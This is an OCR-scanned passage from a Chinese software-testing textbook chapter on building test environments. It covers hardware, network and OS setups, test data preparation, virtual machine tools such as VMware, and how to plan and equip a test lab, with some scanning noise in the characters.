上 正常 运行 ,而 且 在 低 配 置 设备 情况 下 可 能 发 现 更 多 的 缺陷 。 
通常 一 个 较 完 善 的 测试 环境 均 包 括 标准 配置 .最 佳 配置 和 最 低 配 置 的 设备 ,只 是 根据 项 
目的 需求 和 条 件 的 限制 所 占 的 比例 不 同 。 如 压力 测试 ,性 能 测试 .容量 测试 应 该 在 标准 配置 
及 最 佳 配 置 的 设备 上 运行 。 而 功能 性 测试 .用户 界 面 测试 等 完全 可 以 在 低 配置 的 机 器 上 


运行 。 


13.2.2 网 络 环境 


随 着 网 络 的 普及 , 越 来 越 多 的 软件 产品 离 不 开 网 络 环境 ,网 络 环境 是 由 相关 的 网 络 设 
备 、 网 络 系统 软件 及 其 配置 构成 的 综合 环境 ,包括 : 
。 路 由 器 、 交 换 机 、 网 线 、 网 卡 等 硬件 设备 。 
。 各 种 网 络 协 议 代理、 网 关 、 防 火 墙 负载 均衡 器 等 配置 。 
。 网 络 工具 的 安装 和 配置 ,如 网 络 限 速 器 NETLIMITER 2 PRO、Skiller、 带 宽 调度 器 
AppBand 等 。 
在 网 络 环境 设置 中 ,构造 不 同 的 多 个 子 网 段 ,不 仅 使 服务 器 和 客户 端 (或 测试 机 ) 不 在 一 
个 子 网 段 中 ,而 且 客 户 端 (或 测试 机 ) 也 最 好 分 布 在 不 同 的 几 个 子 网 段 中 。 这 样 有 利于 设置 
防火 墙 , 代 理 服务 器 或 网 关 等 ,使 测试 环境 更 能 接近 真实 的 网 络 环境 。 
在 目前 网 络 部 署 中 ,防火 墙 和 代理 服务 器 应 用 普遍 ,已 是 标准 配备 ,测试 人 员 需 要 掌握 
这 方面 的 知识 。 防 火 墙 ,一 般 分 为 两 类 : 
。 状态 检测 型 ,如 最 具 代 表 性 的 硬件 防火 墙 ,如 Cisco PIX、Check Point Firewall-1/ 
NetScreen-100, 
。 基于 代理 技术 的 软件 防火 墙 , 如 Raptor, CyberGuard, Secure Computing 的 产品 、 微 
软 公 司 的 ISA Server 2004/2006/2008, 
以 ISA Server 2004 构建 的 网 络 测试 环境 如 图 13-3 所 示 。 
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图 13-3 基于 防火 墙 的 网 络 环境 示例 


13.2.3 软件 


软件 环境 包括 操作 系统 、 网 络 协议 和 应 用 程序 。 测 试 工具 软件 也 是 软件 环境 派生 出 来 
的 一 部 分 。 建 立 软件 测试 环境 的 原则 是 选择 具有 广泛 代表 性 的 重要 操作 系统 和 大 量 应 用 程 
序 。 在 兼容 性 测试 中 ,软件 环境 尤其 重要 。 

1. 常见 的 操作 系统 

。 Windows 系列 : Windows 2000,Windows XP,Windows Viata 和 Windows 7 等 。 


。 Mac 系列 : Mac OS 9,Mac OS X(Mac OS 10. 4/10. 5/ 10. 6 Snow Leopard…) 。 

。 Linux 系列 : Ubuntu, RedHat Linux, SuSE Linux,OpenLinux, Debian 和 Slackware % 

。 UNIX 系列 : Sun Solaris 10, HPUX,IBM AIX, FreeBSD 等 。 

。 HRA SCHEER BE: Android, Palm OS, Symbian OS, Windows CE/Mobile, VxWorks, 

pSOS, PowerTV „Cos, yclinux, LynxOS,QNX,CMX,DeltaOS 等 。 

而 且 , 某 些 操作 系统 (如 Windows 7) 还 能 进一步 分 32 位 、64 位 两 个 版 本 ,Mac OS X/ 
Solaris/Linux 操作 系统 不 仅 分 为 32 位 .64 位 两 个 版 本 ,还 针对 不 同 的 主机 硬件 架构 (x86、 
PowerPC, Sparc, Adm64 和 Arm 等 ) 有 不 同 的 版 本 。 

2. 常见 的 数据 库 管理 系统 

。 甲骨 文公 司 Oracle 9i, Oracle 10g 和 Oracle 1lg 等 。 
微软 公司 SQL Server 2005/2008/2010 等 。 
开源 数据 库 系 统 : MySQL PostgreSQL Firebird, Berkeley DB 等 。 

。 其 他 : IBM DB2.SyBase,Informix-SE,Informix-Online 等 。 

3. 常见 的 Web 服务 器 

。 Apache ii NCSAhttpd 的 HTTP 服务 器 ,经 过 多 次 修改 ,成 为 跨 平 台 的 .最 流行 
的 Web 服务 器 软件 ,但 不 支持 JSP。 

Tomcat 是 一 个 开放 源 代 码 .运行 Servlet 和 JSP Web 应 用 软件 的 .基于 Java 的 Web 
应 用 软件 容器 。 

Oracle BEA WebLogic Server 是 一 种 多 功能 、 基 于 标准 的 Web 应 用 服务 器 ,遵从 
J2EE \ 面 向 服务 的 架构 ,以 及 丰富 的 工具 集 支 持 , 便 于 实现 业务 逻辑 .数据 和 表达 的 
分 离 ,提供 开发 和 部 署 各 种 业务 驱动 应 用 所 必需 的 底层 核心 功能 。 

Oracle iAS 是 基于 Java 的 应 用 服务 器 ,支持 各 种 业界 标准 (包括 JavaBeans、 
CORBA \Servlets 及 XML 标准 等 ), 是 一 个 集成 的 .通用 的 中 间 件 产品 ,包括 将 
Apache 集成 到 系统 中 。 

WebSphere Application Server 是 一 种 功能 完善 .开放 的 Web 应 用 程序 服务 器 , 它 
是 基于 Java 的 应 用 环境 ,支持 HTTP 和 IIOP 通信 的 可 伸缩 运行 时 环境 ,用 于 建 
立 .部 署 和 管理 Internet 和 Intranet Web 应 用 程序 。 

Microsoft IIS 是 允许 在 公共 Intranet 或 Internet 上 发 布 信息 的 Web 服务 器 ,其 中 包 
括 Web 服务 器 .FTP 服务 器 NNTP 服务 器 和 SMTP 服务 器 ,分 别 用 于 网 页 浏览 、 
文件 传输 .新 闻 服 务 和 邮件 发 送 等 方面 的 服务 。 

IPlanet Application Server 满足 最 新 J2EE 规范 的 要 求 ,是 一 种 完整 的 Web 服务 器 
应 用 解决 方案 ,包括 事务 监控 器 、 多 负载 平衡 选项 、 对 集群 和 故障 转移 全 面 的 支持 、 
集成 的 XML 解析 器 和 可 扩展 格式 语言 转换 (XLST) 引擎 以 及 对 国际 化 的 全 面 
支持 。 

4. 常见 的 配置 

Intranet/Internet 传输 速度 : ADSL、Wifi、.Tl 或 LAN。 

各 种 浏览 器 : MS IE、FireFox、Google Chrome, Opera, Safari 等 。 

在 下 浏览 器 中 Disable ActiveX, 


e Mac OS 9/OS X 或 Windows 中 的 Java 虚拟 机 (JVM) 不 同 版 本 。 
。 经 过 或 不 经 过 代理 服务 器 的 SSL 十 HTTP 连接 。 
。 Windows XP, Windows 7 中 的 非 管理 员 用户 (Normal user). 


13.2.4 数据 准备 


许多 测试 用 例 取 决 于 测试 数据 ,特别 是 围绕 数据 库 系统 \ 文 件 管理 系统 等 构建 的 应 用 系 
统 , 测 试 的 数据 不 仅 对 系统 整体 性 能 测试 非常 重要 ,对 一 些 功能 测试 也 是 非常 重要 的 ,异常 
数据 或 大 范围 的 数据 都 有 助 于 提高 测试 的 覆盖 率 。 测 试 数据 应 尽 可 能 地 取得 大 量 真实 数 
据 , 无 法 取得 真实 数据 时 尽 可 能 模拟 出 大 量 随机 的 数据 。 数 据 准备 包括 数据 量 和 真实 性 两 
个 方面 。 

(1) 现实 中 越 来 越 多 的 软件 产品 需要 处 理 大 量 的 信息 ,不 可 避免 地 使 用 到 数据 库 系统 。 
少量 数据 情况 下 ,软件 产品 表现 出 色 ,一 旦 交付 使 用 ,数据 急速 增长 ,往往 一 个 简单 的 数据 查 
询 操作 就 可 能 耗费 掉 大 量 宝贵 的 系统 资源 ,使 产品 性 能 急剧 下 降 , 失 去 可 用 性 。 

(2) 数据 的 真实 性 通常 表现 为 正确 数据 和 错误 数据 ,在 容错 测试 中 对 错误 数据 的 处 理 
和 系统 恢复 是 测试 的 关键 。 对 于 更 为 复杂 的 说 入 式 实时 软件 系统 ,例如 惯性 导航 系统 仅 有 
惯性 平台 还 不 够 ,为 了 产生 测试 数据 ,还 必须 使 惯性 平台 按 所 要 求 的 运动 规律 进行 移动 。 也 
可 以 用 软件 来 仿真 外 部 设备 ,模拟 真实 的 外 围 设备 。 


13.3 ”虚拟 机 的 应 用 


在 13.2.3 节 中 ,已 列 出 不 同 的 操作 系统 及 其 众多 的 版 本 ,这 些 测 试 环 境 都 是 软件 产品 
测试 中 经 常 要 考虑 的 ,而 且 许 多 Web 应 用 平台 的 测试 ,还 需要 针对 操作 系统 和 浏览 器 构成 
的 组 合 平台 进行 兼容 性 测试 ,其 结果 要 构建 大 量 不 同 的 测试 环境 。 如 果 每 种 环境 都 用 一 台 
物理 机 器 来 安装 ,那么 不 仅 需 要 购买 很 多 机 器 ,投入 很 大 ,而 且 还 占用 很 大 的 实验 室 空 间 ,每 
天 用 电量 也 是 可 观 的 。 这 时 ,最 好 的 解决 办 法 就 是 虚拟 机 方法 。 

虚拟 化 技术 可 以 提供 负载 隔离 ,为 所 有 系统 运算 和 I/O 设计 的 微型 资源 控制 ,可 在 单 
台 物 理 机 器 上 安装 多 个 系统 ,允许 用 户 同时 运行 多 个 操作 系统 、 多 个 操作 系统 版 本 或 实例 ， 
而 不 是 只 有 每 次 运行 一 个 操作 系统 的 多 重启 动 环境 。 虚 拟 化 技术 整合 空闲 的 系统 资源 , 充 
分 利用 硬件 资源 ,节约 能 源 和 空间 ,并 能 提升 系统 的 运作 效率 ,有 利于 测试 环境 的 建立 和 
维护 。 

。 根据 VMware 官方 的 统计 ,在 目前 的 客户 环境 中 至 少 有 70% 的 服务 器 利用 率 只 

20% ~30% ,而 通过 VMware 可 以 将 服务 器 的 利用 率 提高 到 85% ~95% 。 

。 如 果 内 存 加 大 到 16GB 或 更 高 ,一 台 机 器 可 以 虚拟 4 一 8 台 服 务 器 ,而 原来 十 几 台 服 
务 器 的 要 求 , 现 在 只 需要 买 3 台 甚至 更 少 的 服务 器 就 可 以 了 。 

。 一 台 机 器 虽然 只 能 虚拟 4 一 8 台 服 务 器 ,但 可 以 事先 建立 十 几 套 虚拟 机 镜像 文件 ,把 
这 些 镜 像 作为 虚拟 机 来 保存 。 测 试 时 ,只 要 花 几 分 钟 就 可 以 装载 所 需 的 镜像 文件 ， 
更 换 为 新 的 测试 环境 ,而 不 必 为 重建 系统 等 上 数 小 时 。 这 在 自动 化 测试 时 特别 有 
用 ,每 一 个 测试 套件 执行 完 以 后 ,都 需要 恢复 最 初 的 测试 环境 ,就 要 靠 虚拟 机 镜像 来 
创建 回 滚 机 制 (rollback) ,在 几 分 钟 之 内 就 能 把 系统 恢复 到 之 前 的 初始 状态 。 


。 通过 零 宕 机 以 改善 服务 等 级 ,即使 在 灾难 状态 下 ,减少 恢复 时 间 。 

。 标准 化 环境 和 改进 安全 ,包括 高 级 备份 策略 ,在 更 少 元 余 的 情况 下 ,确保 高 可 用 性 。 

。 在 服务 器 管理 方面 的 重大 改进 ,容易 实现 添加 、 移 动 ,变更 和 重 置 服务 器 的 操作 。 

© 通过 部 署 在 刀片 式 ( 机 架 式 ) 服 务 器 上 的 虚拟 中 心 来 管理 虚拟 和 实体 主机 ,建立 一 个 
逻辑 的 资源 池 ,连续 地 整合 系统 负载 ,进而 优化 硬件 使 用 率 和 降低 成 本 。 

。 从 数据 中 心 空间 、 机 柜 、 网 线 、 耗 电量 、 空 调 等 方面 大 大 节省 维护 费用 。 


13.3.1 虚拟 机 软件 


在 真实 计算 机 系统 中 ,操作 系统 组 成 中 的 设备 驱动 控制 硬件 资源 ,负责 将 系统 指令 转化 
成 特定 设备 控制 语言 。 在 假设 设备 所 有 权 独 立 的 情况 下 形成 驱动 ,这 就 使 得 单个 计算 机 上 
不 能 并 发 运行 多 个 操作 系统 。 虚 拟 机 则 包含 了 克服 该 局 限 性 的 技术 ,引入 了 底层 设备 资源 
重 定向 交互 作用 ,每 个 虚拟 机 由 一 组 虚拟 化 设备 构成 ,其 中 每 个 虚拟 机 都 有 对 应 的 虚拟 硬 
件 ,而 不 会 影响 高 层 应 用 层 。 通 过 虚拟 机 ,客户 可 以 在 单个 计算 机 上 并 发 运行 多 个 操作 系 
统 。 常 见 的 虚拟 机 软件 有 : 

。 VMware 的 产品 ,包括 VMware GSX/ESX Server 与 VMware Workstation, 
微软 公司 的 Virtual Server 和 Virtual PC (for Windows/Mac/OS2). 
Sun xVM VirtualBox 完全 免费 和 开源 ,可 运行 在 32 位 和 64 位 平台 上 ,并 支持 
Windows, Linux 和 Mac OS X 主机 。 
Parallels Workstation, 在 Mac OS X 环境 下 可 直接 运行 Windows 系统 ,还 将 支持 
Linux,FreeBSD,OS/2,Solaris 等 操作 系统 。Parallels Workstation 是 世界 上 第 一 
个 集成 轻型 Hypervisor 的 桌面 虚拟 化 解决 方案 。Hypervisor 技术 是 基于 大 型 机 技 
术 建 立 的 ,通过 使 用 一 个 插入 硬件 和 操作 系统 间 的 抽象 层 ,直接 控制 主机 的 部 分 硬 
件 资源 ,大 大 提高 了 虚拟 机 的 稳定 性 ,安全 性 和 性 能 。 
开源 软件 QEMU 在 bochs 的 基础 上 开发 而 成 ,但 性 能 有 很 大 提高 ,和 Virtual PC 相 
当 , 支 持 Linux, Windows, Mac OS 和 不 同 的 硬件 系统 架构 。 
twoOStwo 和 svista, 后 起 之 秀 ,类 似 于 VMware Workstation. 
SW-soft 公司 的 Virtuozzo, 但 不 虚拟 硬件 ,而 是 借助 虚拟 化 技术 把 guest 作为 host 
的 副本 运行 。 这 要 求 对 guest 的 操作 系统 作 特 别 的 修改 ,不 支持 和 host 不 同 的 操作 
系统 , 即 每 一 个 虚拟 机 都 是 运行 在 同一 个 操作 系统 上 的 实例 。 
开源 软件 Xen, 是 由 剑桥 大 学 计算 机 实验 室 开发 的 一 个 开源 项 目 , 与 Virtuozzo 类 
似 ,也 是 采用 虚拟 化 技术 ,但 只 支持 Linux 系统 。 
Cygwin、GnuWin32、WinLinux 都 可 以 看 作 是 UNIX/Linux 的 Windows AIH MLAS. 
开源 软件 Colinux, 提 供 Windows 下 的 Linux 系统 的 模拟 。 


13.3.2 VMware 的 虚拟 机 解决 方案 


VMware-ESX-Server 不 需要 操作 系统 的 支持 (其 核心 是 RedHat Linux 的 超级 减 缩 
版 ,基本 不 占用 硬件 资源 ,大 约 只 有 5% 的 消耗 )。 它 本 身 就 是 一 个 操作 系统 ,用 来 
管理 硬件 资源 ,并 在 上 面 直接 安装 各 种 操作 系统 ,如 图 13-4 所 示 , 并 带 有 远程 Web 
管理 和 客户 端 管理 功能 。 


VMware GSX Server 与 VMware ESX Server 
适用 于 服务 器 ,VMware Workstation 45 VMware 
GSX Server 需要 操作 系统 的 支持 ,而 VMware ESX 
Server 可 在 一 台 裸 机 上 安装 ,不 需要 操作 系统 的 支 
持 , 即 在 主机 没有 操作 系统 的 情况 下 也 可 以 安装 。 
简单 地 说 , ESX 为 企业 级 , GSX 为 工作 组 级 ,而 
Workstation 则 是 为 单机 服务 的 。VMware-ESX- 


VMware-GSX-Server 需要 安装 在 革 个 操作 系统 (Windows 2003 server, Linux 等 ) 
之 上 ,这 个 操作 系统 叫做 HOST OS( 主 操作 系统 ) ,也 有 远程 Web 管理 和 客户 端 管 
理 功能 。 
VMware-Workstation 也 需要 安装 在 某 个 操 
作 系 统 之 上 ,但 没有 Web 远程 管理 和 客户 
端 管理 。 


Server 进一步 分 为 基础 版 (Foundation)、 标 准 版 ”图 13-4 ESX Server 工作 原理 示意 图 
(Standard) 和 企业 版 (Enterprise): 


Foundation 版 本 ,包含 虚拟 多 个 服务 器 的 功能 ,支持 VMFS 文件 系统 、VMware 
ESX Server 3i(VES 3i), VMware Consolidated Backup (VCB), VMware Update 
Manager(VUM) 等 功能 。 

Standard 版 本 ,除了 支持 基础 版 的 功能 之 外 ,还 支持 VMware HA( 高 可 用 性 ) 功 能 。 
Enterprise 版 本 ,包含 支持 标准 版 功能 之 外 ,还 加 入 了 VMware Vmotion, VMware 
Storage Vmotion ,分布 式 资源 调度 (Distributed Resource Scheduler,DRS) 等 功能 ， 
其 中 Vmotion 可 以 通过 将 虚拟 机 从 低 性 能 和 停机 的 服务 器 上 转移 出 去 而 提高 硬件 
的 利用 率 , 而 DRS 基于 预先 设 定 的 规则 ,可 以 将 资源 (CPU、 内 存 和 存储 器 ) 分 配 到 
高 优先 级 的 虚拟 机 器 上 。 


VMware 还 提供 了 比较 多 的 组 件 ( 工 具 ) ,例如 : 


13:3: 


VMware Server Console: 该 组 件 提供 对 虚拟 机 的 最 简单 的 管理 功能 ,如 虚拟 机 镜像 
的 生成 与 操作 系统 的 安装 ; 

VMware Virtual Center for VMware Server: 该 组 件 提供 对 虚拟 机 的 综合 管理 功 
能 ,如 对 虚拟 机 宿主 的 性 能 监视 .统计 与 警报 ,对 虚拟 机 的 克隆 、 模 板 的 生成 以 及 通 
过 模板 生成 虚拟 机 的 功能 ; 

VMware Open Source Components: 该 组 件 提供 对 Linux 虚拟 机 的 克隆 与 模板 生成 
功能 ; 

Microsoft Sysprep Tools: 该 组 件 提供 对 Windows 虚拟 机 的 克隆 与 模板 生成 功能 ; 
SCSI Disk Drivers: 该 组 件 用 于 操作 系统 为 Windows 的 虚拟 机 ,可 以 提高 虚拟 
SCSI 硬盘 的 性 能 。 


3 辅助 工具 


Akorri 公司 的 BalancePoint 工具 可 以 增强 VMware 管理 的 能 力 ,侧重 于 虚拟 机 和 集群 
的 性 能 优化 ,还 增加 了 对 博客 和 思科 SAN 交换 机 的 支持 。DRS 和 Vmotion 可 以 显示 哪 一 


个 虚拟 服务 器 的 性 能 ,从 而 决定 是 否 需要 进行 负载 平衡 调度 ,但 是 这 两 个 工具 无 法 分 析 和 显 
示 VMware 以 外 的 应 用 软件 资源 冲突 。 由 于 BalancePoint 没有 与 操作 系统 绑 定 ,因此 可 显 
示 VMware 的 性 能 是 否 受 到 了 处 于 同一 存储 区 域 网 络 其 他 应 用 软件 的 影响 。BalancePoint 
工具 包括 较 多 组 件 : 


VM Performance Index 提供 虚拟 机 层 的 分 析 。 

Virtual Host Resource Contention 工具 能 够 从 虚拟 机 的 角度 检查 主机 CPU 和 内 存 
的 利用 率 ,使 用 户 能 够 重新 分 配 CPU 和 /或 内 存 , 平 衡 VM 的 工作 量 。 

Virtual Resource EntITlement Analysis 模块 辨认 确定 配置 和 容量 问题 ,以 协助 改 
善 虚拟 机 资源 分 配 设置 。 

VM CPU Efficiency 工具 能 使 管理 员 解 决 VM 的 CPU 的 问题 ,主要 根据 对 客户 操 
作 系 统 的 VM 实际 使 用 情况 进行 比较 分 析 来 实现 。 


Vizioncore 公司 提供 更 全 面 的 产品 以 支持 虚拟 机 的 管理 ,包括 vControl、vConverter、 


vFoglight ,vOptimizer, vRanger,vCharter,vReplicator,vEssentials solution bundles 等 。 


vControl: 提供 基于 浏览 器 的 界面 ,控制 多 种 虚拟 平台 (多 Hypervisor 的 虚拟 机 管 
理 ), 包 括 VMware、Hyper-V、Xen 和 Solaris, 并 可 利用 自 定制 的 虚拟 机 模板 、 工 作 
流 快速 地 创建 和 部 署 虚拟 机 。 

vConverter 能 够 在 一 个 转换 窗口 对 多 个 服务 器 进行 自动 迁移 ,借助 磁盘 和 网 络 1/O 
算法 确保 了 可 能 的 最 快 的 转换 ,显著 降低 了 迁移 风险 .成 本 和 时 间 。 

vFoglight 提供 性 能 监控 、 容 量规 划 和 计 费 功能 ,减少 资源 共享 的 风险 ,优化 资源 的 
利用 ,并 能 利用 报警 和 专家 建议 等 功能 去 检测 、 诊 断 和 解决 影响 可 用 性 和 性 能 的 
问题 。 

vOptimizer 数据 中 心 内 部 的 虚拟 机 优化 ,包括 为 VMware 的 vCenter 服务 器 /ESX 
主机 和 每 台 虚 拟 机 扫描 未 使 用 的 空间 ,锁定 过 量 分 配 的 存储 ,根据 虚拟 机 的 需求 进 
行 增 减 调整 ,完全 自动 化 的 虚拟 存储 容量 调整 /回收 流程 。 

vRanger Pro 允许 用 户 对 虚拟 硬盘 执行 裸 盘 级 还 原 任务 ,在 将 备份 文件 发 送 到 
WAN 上 的 目的 服务 器 之 前 还 将 对 文件 进行 压缩 ,并 能 同 Virtual Center 进行 对 话 ， 
设立 一 个 备份 文件 夹 ,将 虚拟 机 分 组 ,定期 执行 备份 。 

vReplicator 是 虚拟 环境 下 的 备份 .恢复 和 备份 管理 解决 方案 ,可 以 在 guest 外 部 的 
服务 控制 台 上 执行 复制 任务 ,能 够 复制 整个 虚拟 机 ,也 可 以 仅 复制 选 定 的 单个 虚拟 
机 。 复 制 全 部 虚拟 机 包括 复制 配置 设置 .操作 系统 补丁 、 应 用 程序 数据 及 其 他 操作 
系统 层 的 变动 ,在 数据 复制 之 外 无 须 保持 同步 。 


13.4 建立 测试 实验 室 


对 于 专业 的 测试 公司 或 拥有 专业 测试 队伍 的 公司 ,建立 不 同 的 测试 实验 室 以 适应 不 同 
软件 的 测试 需求 。 建 立 一 个 独立 的 测试 实验 室 ,特别 是 建立 集中 的 性 能 测试 实验 室 ,对 于 一 
个 大 型 的 软件 公司 是 必要 的 ,不仅 使 测试 环境 管理 更 加 专业 化 和 规范 化 ,而 且 可 以 充分 利用 
资源 ,提高 测试 效率 ,降低 测试 成 本 。 


13.4.1 实验 室 建立 的 评估 分 析 


并 不 是 所 有 的 软件 公司 都 需要 测试 实验 室 。 某 些 公司 只 是 在 特定 的 时 期 需要 测试 实验 
室 ; 其 他 一 些 公 司 从 来 就 没有 过 测试 实验 室 ,而 是 将 测试 工作 交 给 专业 测试 公司 去 做 。 在 
决定 是 否 建立 实验 室 时 需要 事先 评估 ,进行 可 行 性 分 析 。 

1. 是 否 需要 长 期 使 用 的 测试 设备 ? 

软件 产品 开发 周期 不 长 ,测试 周期 也 不 会 长 ,实验 室 的 利用 率 不 高 ,相对 成 本 就 很 高 。 
也 许 交 给 专业 测试 公司 去 做 会 更 合适 。 如 果实 验 室 同 时 为 多 个 项 目 服务 或 交替 地 为 不 同 的 
项 目 服务 ,这 时 就 有 必要 建立 实验 室 ,提高 测试 资源 的 利用 率 ,降低 测试 成 本 。 

例如 ,公司 的 主流 产品 一 般 会 持续 升级 换代 ,也 需要 不 断 地 针对 新 版 本 进行 测试 ,其 测 
试 周期 较 长 ,压力 测试 通常 需要 24 小 时 以 上 的 高 强度 运行 来 发 现 产 品 中 的 问题 ,这 时 就 要 
考虑 建立 独立 的 压力 测试 实验 室 。 同 时 ,服务 器 端的 其 他 容量 测试 、 性 能 测试 等 都 比较 耗 
时 ,可 以 考虑 共享 压力 测试 实验 室 。 如 果 其 他 项 目 或 产品 的 测试 能 分 享 这 个 实验 室 , 那 就 更 
wT. 

2. 是 否 需要 特殊 的 环境 ? 

如 果 测 试 平台 有 严格 的 环境 要 求 ,例如 对 电压 ` 温 度 .湿度 .空间 等 有 一 定 要 求 , 则 有 必 
要 建立 单独 的 测试 实验 室 。 例 如 ,公司 主要 从 事 于 系统 平台 的 开发 ,而 不 是 客户 端 软件 的 开 
发 ,一 般 需 要 对 服务 器 集群 (server cluster) 进 行 性 能 测试 .压力 测试 等 。 这 方面 测试 的 数据 
量 较 大 ,不宜 与 公司 其 他 服务 器 (如 邮件 服务 器 ) 等 放 在 一 起 ,和 否则 会 造成 网 络 堵塞 ,影响 正 
常 的 业务 工作 ,而 应 该 建立 独立 的 测试 环境 。 另 外 ,性 能 /压力 测试 需要 几 十 台 ,甚至 几 百 台 
的 测试 用 机 ,为 了 有 效 地 管理 这 些 机 器 ,也 需要 一 个 独立 的 实验 室 , 以 便于 操作 和 维护 。 有 
时 ,服务 器 .客户 端 等 需要 分 布 在 不 同 的 网 段 内 ,在 执行 不 同 的 测试 任务 时 需要 调整 网 络 结 
构 , 这 时 ,测试 环境 也 需要 良好 的 独立 性 。 

3. 是 否 存在 安全 性 问题 ? 

测试 的 软件 也 许 是 公司 最 新 的 研发 成 果 , 要 降低 各 种 数据 和 资料 被 泄密 的 可 能 性 ,出 于 
安全 性 考虑 ,知道 的 人 越 少 越 好 ; 非 测试 人 员 可 能 会 无 意 中 改变 测试 环境 中 的 一 些 设置 , 导 
致 测试 失败 ,影响 项 目 进度 。 例 如 ,开发 人 员 总 是 想 临 时 替换 几 个 文件 或 改变 服务 器 设置 来 
验证 缺陷 ,但 随后 就 忘记 了 恢复 到 原来 的 状态 。 建 立 测试 实验 室 , 拥 有 独立 的 测试 环境 , 通 
过 严格 的 管理 制度 和 权限 设置 ,一般 能 够 极 大 地 提高 测试 环境 的 安全 性 和 可 靠 性 。 

4. 是 否 需要 体积 庞大 的 测试 工具 ? 

在 测试 工具 当中 ,是 否 存在 需要 放置 在 长 期 固定 的 位 置 且 不 便携 带 的 工具 ,例如 前 面 提 
到 的 惯性 导航 系统 。 如 果 不 依赖 于 仿真 程序 ,就 需要 惯性 平台 ,而 且 让 被 测 对 象 运动 起 来 ， 
这 通常 需要 建立 专门 的 测试 实验 室 。 

综合 上 述 因 素 进行 分 析 , 如 果 确 实 需 要 测试 实验 室 , 先 试 着 单独 为 测试 实验 室 做 一 个 预 
算 。 如 果 预 算 让 人 无 法 承受 ,那么 就 需要 寻找 其 他 的 方案 ,如 虚拟 机 方案 、 寻 求 供应 商 、 政 府 
等 的 外 部 资源 .尽量 使 用 开源 软件 等 。 如 果 预 算 还 很 高 ,可 以 考虑 租用 第 三 方 的 测试 实验 
室 , 或 将 耗资 源 的 性 能 测试 和 压力 测试 等 外 包 出 去 ,内 部 团队 只 负责 功能 测试 。 


13.4.2 选择 和 规划 实验 室 


一 旦 决定 建立 自己 的 测试 实验 室 ,就 需要 为 实验 室 选择 场所 并 规划 它 的 配置 。 应 当 考 
虑 各 种 因素 ,例如 空间 尺寸 .照明 ,布局 、 功 能 区 .电源 静电、 温度 .湿度 .消防 安全 等 , 尽 可 能 
详细 绘 出 实验 室 的 平面 规划 图 ,然后 不 断 地 完善 规划 。 

(1) 空间 尺寸 : 包括 实验 室 空 间 大 小 、 形 状 、 高 度 等 。 其 中 房间 的 大 小 决定 了 实际 的 工 
作 空间 ,房间 的 形状 决定 了 布局 方法 ,房间 的 高 度 可 能 会 影响 设备 的 安置 ,如 电线 ,网络 线 不 
是 从 地 板 底 下 走 , 而 是 从 顶 上 走 , 有 利于 维护 ,这 就 要 求 更 高 的 空间 。 在 绘制 实验 室 图 纸 时 ， 
通道 位 置 门 的 位 置 和 开启 方向 等 均 应 标识 清楚 。 

(2) 照明 : 实验 室 中 的 窗户 应 该 安装 有 色 玻 璃 和 有 效 的 遮阳 物 , 同 时 还 要 注意 窗户 距 
离 地 面 的 高 度 。 阳 光 的 照射 能 够 产生 高 温 , 还 会 让 人 很 难看 清楚 计算 机 屏幕 显示 的 内 容 , 还 
有 可 能 破坏 价格 昂贵 的 设备 。 人 工 照明 通常 使 用 荧光 灯 、 聚 光 灯 和 轨道 灯 , 虽 然 很 亮 ,但 是 
它们 更 适合 安装 在 会 议 室 而 不 是 实验 室 。 当 测试 人 员 阅 读 文 档 资料 .评估 图 像 或 视频 的 质 
量 时 ,平和 稳定 的 光照 是 重要 的 。 在 平面 图 上 应 该 显示 照明 装置 和 窗户 的 位 置 。 

(3) 布局 : 当选 好 实验 室 空 间 之 后 ,一定 要 清楚 将 要 安装 哪些 类 型 的 操作 台 和 设备 架 。 
哪些 设备 必须 放 在 设备 架 上 ,哪些 设备 必须 独立 放置 ,选用 什么 样 的 操作 台 或 者 桌 椅 , 留 出 
足够 的 空间 保证 人 和 设备 能 够 自由 出 入 。 

(4) 功能 区 : 如 果 在 同一 实验 室 有 多 个 工作 区 ,明显 的 划分 有 利于 设备 的 维护 和 管理 ， 
也 避免 不 同 测试 间 的 相互 干扰 。 例 如 服务 器 区 ,测试 操作 区 ,还 可 以 按压 力 测 试 区 .兼容 性 
测试 区 等 进行 划分 。 在 一 些 专业 测试 公司 ,还 为 一 些 特殊 客户 设置 专门 的 测试 实验 室 或 工 
作 区 ,只 有 实际 测试 人 员 和 特殊 客户 的 人 员 可 以 进出 。 

(5) 电源 : 实验 室 根据 需要 ,提供 12V、110V、220V、360V 等 电源 ,并 且 保 证 这 些 可 用 
的 电源 安置 在 正确 的 位 置 上 。 为 保证 输入 电源 的 电压 波动 不 影响 测试 , 须 配 备 稳 压 器 。 为 
解决 停电 和 电力 不 足 等 问题 ,还 得 配备 UPS 不 间断 电源 和 备用 电源 。 平 面 图 中 显示 所 有 的 
电源 布置 情况 。 

(6) 静电 : 实验 室 是 容易 产生 静电 的 地 方 ,如 果实 验 室 中 铺设 地 毯 , 会 产生 更 大 的 静 
电 , 所 以 应 该 配 防 静 电 的 垫子 和 消除 静电 的 接地 金属 设施 ,用 以 帮助 测试 人 员 释 放 身 上 积累 
的 静电 ,也 避免 静电 导致 精密 设备 的 损坏 。 

(7) 设施 : 为 员工 准备 的 配套 设施 是 非常 重要 的 ,例如 洗手 间 、 楼 梯 、 电 梯 、 空 调 、 外 部 
电话 线 、 网 络 电缆 (宽带 ) 等 ,因为 这 不 仅仅 是 法 律 义务 ,而 且 还 影响 到 小 组 的 工作 效率 。 在 
图 纸 中 应 该 标明 所 有 的 设施 和 连接 。 

(8) 消防 安全 : 每 一 个 工作 区 都 应 该 装 有 烟火 自动 报警 器 。 为 了 控制 火灾 ,测试 实验 
室 必须 配备 可 随时 使 用 的 手提 灭火 器 ,而 且 还 是 带电 安全 和 高 效 的 那 种 型 号 。 如 果实 验 室 
装 有 大 型 计算 机 或 备用 电源 ,就 需要 配备 能 扑灭 大 型 电力 火灾 的 设备 。 图 纸 中 应 该 标 出 自 
动 火灾 报警 器 和 灭火 设备 ,而 且 不 能 被 其 他 物体 挡住 。 

根据 上 述 的 各 种 因素 ,综合 考虑 规划 一 个 较 完美 的 实验 室 环境 ,让 测试 人 员 在 一 个 舒适 
的 环境 中 享受 工作 的 乐趣 ,避免 因 环境 问题 带 来 的 困扰 。 


13.4.3 集成 和 配置 测试 设备 


运作 一 个 测试 实验 室 需 要 哪些 设备 呢 ? 每 个 测试 实验 室 都 有 不 同 的 需求 ,而 且 任何 特 
定 设 备 的 重要 性 依赖 于 它 所 支持 的 特定 测试 的 重要 性 。 假 定 要 为 公司 建立 一 个 测试 实验 
